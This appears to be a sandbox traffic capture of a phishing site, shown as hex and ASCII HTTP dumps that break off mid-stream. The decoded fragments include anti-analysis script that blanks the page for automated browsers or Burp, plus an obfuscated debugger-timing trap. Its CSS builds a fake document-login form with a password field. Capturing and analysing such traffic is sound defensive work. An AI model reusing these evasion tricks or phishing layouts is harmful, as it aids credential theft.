22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 1e8d<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 Data Ascii: position:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;bac
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 Data Ascii: ;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 Data Ascii: lateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}} </style> <script> if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addE
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 7d 29 3b 0d 0a 68 66 69 46 6c 65 6f 5a 71 63 20 3d 20 66 61 6c 73 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 49 45 6c 6d 50 57 4a 49 6c 77 28 29 20 7b 0d 0a 20 20 20 20 6c 65 74 20 42 70 7a 68 79 5a 53 45 66 52 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 66 79 43 45 6c 47 72 71 69 57 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 76 4e 42 79 67 75 6c 55 75 56 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 65 Data Ascii: ntDefault(); return false;});hfiFleoZqc = false;(function IElmPWJIlw() { let BpzhyZSEfR = false; const fyCElGrqiW = 100; setInterval(function() { const vNBygulUuV = performance.now(); debugger; const re
2025-03-19 13:49:43 UTC	984	IN	Data Raw: 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 33 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c Data Ascii: "></div><div class="s s2"></div><div class="s s3"></div></div><div class="r"><div class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div><
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 33 34 66 30 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 31 39 2d 2e 33 36 33 Data Ascii: 34f0<path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.919-.363
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 36 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 20 32 2e 35 39 33 2d 2e 34 34 31 20 33 2e 34 33 34 2d 31 2e 33 31 2e 38 34 2d 2e 38 37 20 31 2e 32 36 35 2d 32 2e 30 34 35 20 31 2e 32 36 35 2d 33 2e 34 39 33 20 30 2d 31 2e 34 33 33 2d 2e 34 2d 32 2e 35 37 33 2d 31 2e 31 38 37 2d 33 2e 33 39 34 2d 2e 37 38 39 2d 2e 38 32 2d 31 2e 38 39 37 2d 31 2e 32 33 36 2d 33 2e 32 39 35 2d 31 2e 32 33 36 4d 37 34 2e 33 37 38 20 31 31 2e 34 37 31 63 2d 2e 36 36 37 2d 2e 32 36 38 2d 31 2e 30 39 35 2d 2e 34 39 2d 31 2e 32 37 2d 2e 36 36 2d 2e 31 37 2d 2e 31 36 35 2d 2e 32 35 37 2d 2e 33 39 38 2d 2e 32 35 37 2d 2e 36 39 33 20 30 2d 2e 32 36 32 2e 31 30 38 2d 2e 34 37 32 2e 33 32 37 2d 2e 36 34 32 2e 32 31 39 2d 2e Data Ascii: .826 1.936 1.245 3.316 1.245 1.438 0 2.593-.441 3.434-1.31.84-.87 1.265-2.045 1.265-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M74.378 11.471c-.667-.268-1.095-.49-1.27-.66-.17-.165-.257-.398-.257-.693 0-.262.108-.472.327-.642.219-.
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 31 34 39 20 39 2e 34 38 56 37 2e 37 35 32 68 2d 32 2e 31 34 34 56 35 2e 30 36 39 6c 2d 2e 30 37 32 2e 30 32 32 2d 32 2e 30 31 35 2e 36 31 36 2d 2e 30 33 38 2e 30 31 32 76 32 2e 30 33 34 68 2d 33 2e 31 37 37 56 36 2e 36 32 63 30 2d 2e 35 32 37 2e 31 31 38 2d 2e 39 33 31 2e 33 35 31 2d 31 2e 32 2e 32 33 2d 2e 32 36 36 2e 35 36 2d 2e 34 30 32 2e 39 38 32 2d 2e 34 30 32 2e 33 30 33 20 30 20 2e 36 31 36 2e 30 37 32 2e 39 33 31 2e 32 31 33 6c 2e 30 37 39 2e 30 33 35 56 33 2e 34 34 37 6c 2d 2e 30 33 37 2d 2e 30 31 33 63 2d 2e 32 39 34 2d 2e 31 30 35 2d 2e 36 39 35 2d 2e 31 35 39 2d 31 2e 31 39 2d 2e 31 35 39 2d 2e 36 32 36 20 30 2d 31 2e 31 39 34 2e 31 33 36 2d 31 2e 36 38 39 2e 34 30 36 2d 2e 34 39 35 2e 32 37 2d 2e 38 38 36 2e 36 35 35 2d 31 2e 31 36 20 31 2e Data Ascii: 149 9.48V7.752h-2.144V5.069l-.072.022-2.015.616-.038.012v2.034h-3.177V6.62c0-.527.118-.931.351-1.2.23-.266.56-.402.982-.402.303 0 .616.072.931.213l.079.035V3.447l-.037-.013c-.294-.105-.695-.159-1.19-.159-.626 0-1.194.136-1.689.406-.495.27-.886.655-1.16 1.

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	533	OUT	OPTIONS /report/v4?s=3r9cEn7cSXmpR8BLAPAUNUIGVaC8VNWEy8IFAQb1FvSxBHXUAZrOtfVGe770d%2FGZcus9kXyoIzGyfakegJlpGdbA%2FTJb1e1k2Rti%2FWihGwQiaCMRgGE4v9yJsiyP HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://behy.jsrjesdc.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:43 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 19 Mar 2025 13:49:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	508	OUT	POST /report/v4?s=3r9cEn7cSXmpR8BLAPAUNUIGVaC8VNWEy8IFAQb1FvSxBHXUAZrOtfVGe770d%2FGZcus9kXyoIzGyfakegJlpGdbA%2FTJb1e1k2Rti%2FWihGwQiaCMRgGE4v9yJsiyP HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 427 Content-Type: application/reports+json Origin: https://behy.jsrjesdc.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:43 UTC	427	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 36 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 68 79 2e 6a 73 72 6a 65 73 64 63 2e 72 75 2f Data Ascii: [{"age":0,"body":{"elapsed_time":664,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":404,"type":"http.error"},"type":"network-error","url":"https://behy.jsrjesdc.ru/
2025-03-19 13:49:43 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 19 Mar 2025 13:49:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	1374	OUT	GET /34RK4DICgWUTznbabQQp8A8920 HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
2025-03-19 13:50:05 UTC	879	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:50:05 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Content-Disposition: inline; filename="34RK4DICgWUTznbabQQp8A8920" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uEk6C9B8SfCngiOH1QsP56utNUr2s2c%2BD3%2FqvG5ZP%2BLm5QP9VBd%2ByMtGZHgSsGKYkYIvy%2Fl%2BGbtFLkPHNxdTmRMhfKB%2BhE8gODInRtTDexLW1neE1KFU3W16wBJv"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: accept-encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=16430&min_rtt=16418&rtt_var=6165&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2278&delivery_rate=246315&cwnd=252&unsent_bytes=0&cid=646606e366fae401&ts=21465&x=0" CF-RAY: 922d6f4b5d41e27a-MRS alt-svc: h3=":443"; ma=86400
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 31 30 31 38 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 1018#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 5f 64 6f 63 20 2e 6c 6f 67 69 6e 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 7b 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 22 73 70 61 63 65 6c 6f 67 69 6e 32 22 20 22 73 70 61 63 65 6c 6f 67 69 6e 31 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2a 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2a 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 31 2c 23 73 65 63 74 69 Data Ascii: _doc .login,#sections_pdf .login{grid-template-areas:"spacelogin2" "spacelogin1";line-height:1.5;overflow:hidden}#sections_doc .pdfbackcontainer>,#sections_pdf .pdfbackcontainer>{position:relative;display:flex}#sections_doc .pdfbackcontainer>.bg1,#secti
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 Data Ascii: nimation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spinner div:first-child{transform:rotate(0);animation-delay:-1.1s}#sections_pdf .lds-spinner div:nth-child(2){transform:rotate(30deg);animation-delay:-1s}#sections_pdf .lds-spinner div:nth-child
2025-03-19 13:50:05 UTC	21	IN	Data Raw: 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 0d 0a Data Ascii: dth:100px;height:10
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 31 36 61 30 0d 0a 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 2c 23 73 65 63 74 Data Ascii: 16a00px;margin-top:15%}#sections_pdf .allBlock{position:relative;margin-top:30px;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-direction:column;align-items:center;z-index:1000000000}#sections_doc .pdfheader,#sect
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 3b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 34 34 34 29 3b 70 61 64 64 69 6e 67 3a 2e 33 31 32 35 70 63 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 3b 70 61 64 64 69 6e 67 3a 2e 33 31 32 35 70 63 3b 62 61 63 6b 67 72 6f 75 6e Data Ascii: center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0;width:auto;height:auto;background:rgba(0,0,0,.444);padding:.3125pc}#sections_pdf .login .loginbox{width:auto;height:auto;border-radius:0 0 3.75pt .052083333in;padding:.3125pc;backgroun
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 2e 69 6e 66 6f 73 70 61 6e 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 30 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 Data Ascii: .infospan{display:flex;flex-direction:column;width:360px;height:auto;font-family:'Playfair Display',serif;margin:auto;background-color:#ffffff00;color:#fff;border-radius:5px;text-align:center}#sections_doc .login .selectProvider .infospan>*,#sections_pdf
2025-03-19 13:50:05 UTC	1369	IN	Data Raw: 6e 70 75 74 66 69 65 6c 64 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 33 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 70 61 73 73 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 70 61 73 73 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 33 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 Data Ascii: 